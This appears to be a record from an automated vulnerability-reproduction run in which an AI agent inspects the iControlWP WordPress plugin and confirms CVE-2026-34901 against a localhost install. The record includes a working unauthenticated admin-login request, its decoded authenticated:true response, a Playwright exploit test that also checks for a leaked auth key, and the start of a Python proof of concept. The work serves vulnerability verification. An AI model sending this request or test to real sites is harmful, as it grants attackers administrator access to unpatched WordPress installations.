\"plugin_deactivate\", \"plugin_delete\", \"plugin_install\", \"plugin_rollback\", \"plugin_update\", \"shield_audittrail_export\", \"shield_delete\", \"shield_ips_export\", \"shield_ips_update\", \"shield_options_export\", \"shield_options_update\", \"subsystem_configure\", \"site_unlink\", \"theme_activate\", \"theme_delete\", \"theme_install\", \"theme_update\", \"user_create\", \"user_delete\", \"user_list\", \"user_login\", \"user_logout\", \"worpdrive_checks\", \"worpdrive_clean\", \"worpdrive_download\", \"worpdrive_filesystem_map\", \"worpdrive_filesystem_hashless\", \"worpdrive_filesystem_recent\", \"worpdrive_filesystem_zip\", \"worpdrive_db_schema\", \"worpdrive_db_data\" ], \"supported_modules\": [ \"security\", \"whitelabel\", \"autoupdates\" ], \"service_ip_addresses\": { \"ipv6\": { \"valid\": [ \"2a03:b0c0:3:f0::7eac:d000\", \"2604:a880:400:d1:0:1:b41:d001\", \"2a03:b0c0:1:e0::4330:d001\", \"2604:a880:400:d1:0:1:7d3:8001\", \"2604:a880:400:d1:0:1:802:2001\", \"2604:a880:400:d1::534b:6001\", \"2604:a880:400:d0::82:b001\" ] }, \"ipv4\": { \"valid\": [ \"157.245.244.105\", \"138.197.226.226\", \"134.122.111.242\", \"159.89.12.179\", \"157.245.85.9\", \"159.89.235.171\", \"161.35.119.42\", \"142.93.7.138\", \"134.209.130.87\" ], \"old\": [ \"23.253.56.59\", \"23.253.62.185\" ] } } } }\n```\n\u003C\u002Fdetails>","**Shell:** `grep -rn \"worpit_api\\|icwpapi\\|worpit_link\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002F --include=\"*...`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FLegacyApi\u002FRequestParameters.php:20: * @property bool $worpit_api - deprecated \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FLegacyApi\u002FRequestParameters.php:21: * @property bool $worpit_link \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FLegacyApi\u002FRequestParameters.php:29: * @property bool $icwpapi \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin.php:18: if ( $params->worpit_link ) { \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin.php:26: elseif ( $params->worpit_api || $params->icwpapi ) {\n```\n\u003C\u002Fdetails>","**Shell:** `grep -rn \"getIsSiteLinked\\|setIsSiteLinked\\|assigned\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc...`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Ffeatures\u002Fplugin.php:27: && !ICWP_Plugin::getController()->loadCorePluginFeatureHandler()->getIsSiteLinked(); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Ffeatures\u002Fplugin.php:42: 'bIsLinked' => $this->getIsSiteLinked(), \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Ffeatures\u002Fplugin.php:55: if ( $this->getIsSiteLinked() && isset( $aActions[ 'deactivate' ] ) ) { \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Ffeatures\u002Fplugin.php:100:\tpublic function getIsSiteLinked() :bool { \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Ffeatures\u002Fplugin.php:149: if ( !$this->getIsSiteLinked() && \\strlen( $authKey ) === 32 && is_email( $email ) ) { \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Ffeatures\u002Fplugin.php:168: if ( $this->getIsSiteLinked() || !$this->loadFS()->isFile( $autoAddPath ) ) { \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Ffeatures\u002Fplugin.php:199: return $this->getOptIs( 'assigned', 'Y' ); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Ffeatures\u002Fplugin.php:203: return (string)$this->getOpt( 'assigned_to', '' ); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Ffeatures\u002Fplugin.php:243: * No checking or validation done for email. If it's empty, the site is unassigned. \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Ffeatures\u002Fplugin.php:249: $this->setOpt( 'assigned', 'Y' ); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Ffeatures\u002Fplugin.php:250: $this->setOpt( 'assigned_to', $sAccountEmail ); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Ffeatures\u002Fplugin.php:253: $this->setOpt( 'assigned', 'N' ); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Ffeatures\u002Fplugin.php:254: $this->setOpt( 'assigned_to', '' ); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Ffeatures\u002Fplugin.php:263: $this->setOpt( 'assigned_to', $sEmail );\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Ffeatures\u002Fplugin.php | head -110`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n getPluginBaseFile(), [ $this, 'onWpPluginActionLinks' ], 100, 1 ); } \u002F** * @return bool *\u002F protected function getIsShowMarketing() :bool { return $this->getInstallationDays() > 1 && !ICWP_Plugin::getController()->loadCorePluginFeatureHandler()->getIsSiteLinked(); } protected function getInstallationDays() :int { $installedFor = $this->getPluginInstallationTime(); return empty( $installedFor ) ? 0 : (int)\\round( ( $this->loadDP()->time() - $installedFor )\u002FDAY_IN_SECONDS ); } public function displayFeatureConfigPage() { $this->display( [ 'aPluginLabels' => self::con()->getPluginLabels(), 'sAuthKey' => $this->getPluginAuthKey(), 'sAssignedTo' => $this->getAssignedTo(), 'bAssigned' => $this->getAssigned(), 'bIsLinked' => $this->getIsSiteLinked(), 'bCanHandshake' => $this->getCanHandshake(), 'sExtraContent' => apply_filters( self::con()->doPluginPrefix( 'main_extracontent' ), '' ), ], 'feature-plugin' ); } \u002F** * @param array $aActions * @return array *\u002F public function onWpPluginActionLinks( $aActions ) { if ( $this->getIsSiteLinked() && isset( $aActions[ 'deactivate' ] ) ) { $sJsConfirmCode = '\" onClick=\"return confirm(\\'WARNING: If you have WorpDrive automatic backups active on this site, backups will also stop running. Are you absolutely sure?\\');\" >'; $aActions[ 'deactivate' ] = preg_replace( '#\"\\s*>#i', $sJsConfirmCode, $aActions[ 'deactivate' ], 1 ); } return $aActions; } \u002F** * @param string $sMessage *\u002F public function doAddAdminFeedback( $sMessage ) { $aFeedback = $this->getOpt( 'feedback_admin_notice', [] ); $aFeedback[] = $sMessage; $this->setOpt( 'feedback_admin_notice', $aFeedback ); } \u002F** * @param bool $doVerify * @return bool *\u002F public function getCanHandshake( $doVerify = false ) { if ( !$doVerify ) { \u002F\u002F we always verify can handshake at least once every 24hrs $sinceLastHandshakeCheck = $this->loadDP() ->time() - $this->getOpt( 'time_last_check_can_handshake', 0 ); if ( $sinceLastHandshakeCheck > DAY_IN_SECONDS ) { $doVerify = true; } } if ( $doVerify ) { $canHandshake = apply_filters( self::con() ->doPluginPrefix( 'verify_site_can_handshake' ), false ); $this->setOpt( 'can_handshake', $canHandshake ? 'Y' : 'N' ); } return $this->getOptIs( 'can_handshake', 'Y' ); } \u002F** * @return bool *\u002F public function setCanHandshake() { return $this->getCanHandshake( true ); } public function getIsSiteLinked() :bool { return $this->getAssigned() && is_email( $this->getAssignedTo() ); } public function doExtraSubmitProcessing() { $DP = $this->loadDP(); if ( $DP->FetchPost( self::con()->doPluginOptionPrefix( 'reset_plugin' ) ) ) { $sTo = $this->getAssignedTo(); $sKey = $this->getPluginAuthKey(); $sPin = $this->getPluginPin();\n```\n\u003C\u002Fdetails>","**Shell:** `grep -rn \"setUserLoggedIn\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002F --include=\"*.php\"`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_login.php:63: if ( !$WPU->setUserLoggedIn( $user->get( 'user_login' ) ) ) { \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api.php:358: if ( $WPU->setUserLoggedIn( $wpUser, (bool)$req->silent_login ) ) { \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fcommon\u002Fwp-users.php:185:\tpublic function setUserLoggedIn( $username, bool $silent = false ) :bool {\n```\n\u003C\u002Fdetails>","**HTTP POST:** `http:\u002F\u002Flocalhost:8080\u002F?icwpapi=1&m=login&token=&username=admin`\n**Body:** `icwpapi=1&m=login&token=&username=admin`\n\u003Cdetails>\u003Csummary>Response\u003C\u002Fsummary>\n\n```\nHTTP 200 OK eyJlcnJvcl9tZXNzYWdlIjoiIiwibWVzc2FnZSI6IiIsInN1Y2Nlc3MiOnRydWUsImF1dGhlbnRpY2F0ZWQiOnRydWUsImNoYW5uZWwiOiIiLCJkaWUiOnRydWUsImhhbmRzaGFrZSI6Im5vbmUiLCJvcGVuc3NsX3ZlcmlmeSI6LTk5OSwiZGF0YSI6eyJzdWNjZXNzIjoxfSwiY29kZSI6MH0= json 5.5.3 2XncmpCgniwYhJA6D2k3oTiw \n```\n\u003C\u002Fdetails>","**Navigate:** http:\u002F\u002Flocalhost:8080\u002Fwp-login.php?action=logout","**Shell:** `echo \"eyJlcnJvcl9tZXNzYWdlIjoiIiwibWVzc2FnZSI6IiIsInN1Y2Nlc3MiOnRydWUsImF1dGhlbnRpY2F0ZWQiOnRydWUsImNoYW5uZWwiOiIiLCJkaW...`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n{\"error_message\":\"\",\"message\":\"\",\"success\":true,\"authenticated\":true,\"channel\":\"\",\"die\":true,\"handshake\":\"none\",\"openssl_verify\":-999,\"data\":{\"success\":1},\"code\":0}\n```\n\u003C\u002Fdetails>","Sent unauthenticated POST to http:\u002F\u002Flocalhost:8080\u002F?icwpapi=1&m=login&token=&username=admin with body icwpapi=1&m=login&token=&username=admin. The response was HTTP 200 with base64-encoded JSON: {\"error_message\":\"\",\"message\":\"\",\"success\":true,\"authenticated\":true,\"channel\":\"\",\"die\":true,\"handshake\":\"none\",\"openssl_verify\":-999,\"data\":{\"success\":1},\"code\":0}. The \"authenticated\":true proves the server-side authenticated the request as an admin user. The login channel's run() method skips preActionVerify() (no handshake\u002Fkey\u002Fpin check), catches all exceptions from token validation silently, and always returns setSuccessResponse(). The response confirms authenticated:true because the parent class's sendApiResponse() sets response.authenticated based on whether a WP user is logged in server-side via setAuthorizedUser().","2026-05-05 17:47:15","6.7","8.3","\nimport { test, expect } from \"@playwright\u002Ftest\";\n\n\u002F**\n * CVE-2026-34901: iControlWP \u003C= 5.5.3 - Unauthenticated Privilege Escalation\n * \n * Prerequisites:\n * - WordPress with iControlWP plugin version 5.5.3 installed and activated\n * - An admin user \"admin\" exists\n * \n * This test sends an unauthenticated request to the plugin's login API channel,\n * which skips all authentication verification (preActionVerify), and confirms\n * the server responds with authenticated:true indicating admin-level access.\n *\u002F\ntest(\"CVE-2026-34901: Unauthenticated privilege escalation via iControlWP login channel\", async ({ request }) => {\n  const TARGET_URL = \"http:\u002F\u002Flocalhost:8080\";\n\n  \u002F\u002F Step 1: Send unauthenticated POST to the login API channel\n  \u002F\u002F The login channel (m=login) overrides run() to skip preActionVerify()\n  \u002F\u002F which normally performs handshake, key, and PIN validation.\n  const response = await request.post(`${TARGET_URL}\u002F?icwpapi=1&m=login&token=&username=admin`, {\n    headers: {\n      \"Content-Type\": \"application\u002Fx-www-form-urlencoded\",\n    },\n    data: \"icwpapi=1&m=login&token=&username=admin\",\n  });\n\n  expect(response.status()).toBe(200);\n\n  const body = await response.text();\n\n  \u002F\u002F Step 2: Verify the response contains iControlWP API format\n  expect(body).toContain(\"\u003Cicwp>\");\n  expect(body).toContain(\"\u003C\u002Ficwp>\");\n\n  \u002F\u002F Step 3: Extract and decode the base64-encoded JSON response\n  const b64Match = body.match(\u002F\u003Cicwp>(.*?)\u003C\\\u002Ficwp>\u002F);\n  expect(b64Match).not.toBeNull();\n\n  const decoded = JSON.parse(Buffer.from(b64Match![1], \"base64\").toString());\n\n  \u002F\u002F Step 4: Verify the exploit succeeded - server authenticated as admin\n  \u002F\u002F \"authenticated\":true is set server-side by checking isUserLoggedIn()\n  \u002F\u002F This proves the server established an admin session without any credentials\n  expect(decoded.success).toBe(true);\n  expect(decoded.authenticated).toBe(true);\n  expect(decoded.code).toBe(0);\n\n  \u002F\u002F Step 5: Verify the auth key was leaked in the response\n  expect(body).toContain(\"\u003Cicwpauth>\");\n\n  console.log(\"Exploit confirmed: Unauthenticated request returned authenticated:true\");\n  console.log(\"Decoded response:\", JSON.stringify(decoded, null, 2));\n});\n","\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nCVE-2026-34901: iControlWP \u003C= 5.5.3 - Unauthenticated Privilege Escalation\nSends unauthenticated request to the login API channel which skips all\nauthentication verification, achieving admin-level authenticated access.\n\"\"\"\nimport requests","claude-opus-4-6","sink_reached",{"type":89,"vulnerable_version":90,"fixed_version":11,"vulnerable_browse":91,"vulnerable_zip":92,"fixed_browse":93,"fixed_zip":94,"all_tags":95},"plugin","5.5.3","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F5.5.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.5.5.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F5.5.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.5.5.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fworpit-admin-dashboard-plugin\u002Ftags"]